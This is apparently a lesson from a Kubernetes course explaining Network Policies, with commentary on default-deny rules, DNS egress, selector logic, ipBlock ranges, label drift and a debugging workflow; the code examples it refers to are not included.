Network Policies

⚠️ Network Policies require a CNI plugin that enforces them

Network Policies are just Kubernetes objects — they do nothing without a CNI plugin that reads and enforces them. Flannel does not enforce Network Policies. Calico, Cilium, WeaveNet, and most other production CNI plugins do. If you apply a Network Policy on a Flannel cluster, the policy is silently ignored. Check which CNI your cluster uses before relying on Network Policies for security.

What just happened?

POD-SELECTOR: <none> — The empty selector ({}) means "select all Pods in this namespace." Every Pod in the payments namespace is now subject to this policy. The output shows <none> which is how kubectl displays an empty selector.

DNS is blocked too — The egress deny is total. Even DNS queries (UDP port 53 to the CoreDNS ClusterIP) are blocked. This is why applying a default-deny policy without immediately adding DNS allow rules will break every application in the namespace. Always pair a default-deny policy with the DNS allow rule that comes next.

Connection timeout vs connection refused — Network Policy violations typically manifest as connection timeouts (the packet is dropped, not rejected). This is different from "connection refused" which means the port is reachable but nothing is listening. A timeout during debugging often means a Network Policy is blocking the traffic.

What just happened?

AND vs OR in the from selector — This is the most confusing part of Network Policy syntax. When namespaceSelector and podSelector appear in the same list item (under the same -), they are ANDed — "must be in THIS namespace AND have THIS label." When they appear as separate list items (each with their own -), they are ORed — "from this namespace OR from Pods with this label." Getting this wrong is the most common Network Policy mistake.

kubernetes.io/metadata.name — Namespaces have a built-in label kubernetes.io/metadata.name automatically set to the namespace's name (added in Kubernetes 1.21). Using it in namespaceSelector is the correct way to reference a specific namespace by name in Network Policies.

Ports specified at the rule level, not the selector level — The ports list applies to the entire ingress rule. Both the checkout-api source and the Prometheus source share the same port allowance (8080 and 9090). If you need different ports for different sources, put them in separate ingress rule blocks.

What just happened?

Data exfiltration blocked — The payment API can reach its database and the fraud service, but not the internet or any other cluster service. If an attacker gains code execution in the payment API pod, they can't make outbound calls to their C2 server or to any other internal service to pivot laterally. The blast radius of a compromise is dramatically contained.

DNS allows no destination restriction — The DNS egress rule has a ports section but no to section. This allows DNS queries to any destination on port 53. Technically you could restrict it to the CoreDNS ClusterIP specifically using an ipBlock rule, but the IP might change across clusters. The port-only approach is the pragmatic production choice.

Egress policies interact with ingress policies — For a connection from payment-api to postgres to succeed, both the egress policy on payment-api (allowing outbound to postgres:5432) AND the ingress policy on postgres (allowing inbound from payment-api) must permit the traffic. A connection is only allowed if both sides have matching allow rules.

What just happened?

ipBlock for external traffic — Unlike pod/namespace selectors which apply within the cluster, ipBlock lets you specify external IP ranges. The except list carves out sub-ranges from the allowed CIDR. This is how you allow the specific payment gateway IPs while blocking everything else in that subnet.

The broad 0.0.0.0/0 except RFC1918 risk — The second egress rule in the example above is a common but dangerous pattern. Allowing all external HTTPS except private ranges sounds safe — but it allows the Pod to reach any public server on port 443. A compromised Pod can exfiltrate data to any HTTPS endpoint on the internet. Prefer explicit CIDR allowlists over broad "except private ranges" rules for sensitive workloads.

What just happened?

Label drift breaks Network Policies silently — The checkout deployment was updated and someone changed the label from app=checkout-api to app=checkout. The Network Policy still references the old label. The checkout pods no longer match the Network Policy's podSelector — so their traffic is blocked as if they're unknown sources. The fix is either to update the Network Policy to match the new label or revert the label change.

The most common Network Policy debug workflow — (1) List policies in both namespaces. (2) Check Pod labels match the selectors. (3) Check namespace labels match the namespaceSelector. (4) Run a test Pod with matching labels and test from it. (5) Run a test Pod without the labels and confirm it's blocked. The --labels flag on kubectl run is the key to simulating the right identity for these tests.

Teacher's Note: Start permissive, tighten incrementally

The mistake I see teams make most often with Network Policies is applying a default-deny to production the same day they write the first policy, then spending the next week firefighting as one service after another breaks. The correct approach is incremental: start without a default-deny, add explicit allow policies first, validate that all necessary traffic is covered, then add the default-deny last once you're confident the allow rules are complete.

One more thing: Network Policies are namespace-scoped, but the effect of a policy can cross namespaces via namespaceSelector. A policy in the payments namespace can allow traffic from the production namespace. This cross-namespace visibility is intentional and powerful — but it means label hygiene on both namespaces and Pods is critical for security. A mislabelled namespace could inadvertently grant access.

For Cilium users: Cilium extends the standard Network Policy with CiliumNetworkPolicy which supports L7 rules — allow traffic from checkout-api to payment-api only on the POST /charges endpoint, reject all other paths. This is Layer 7 microsegmentation and it's significantly more powerful than port-level Network Policies for HTTP traffic.

Up Next · Lesson 37

RBAC Introduction

Network Policies control what services can talk to each other. RBAC controls what humans and automated systems can do with the Kubernetes API — and getting it wrong is how clusters get compromised through the control plane.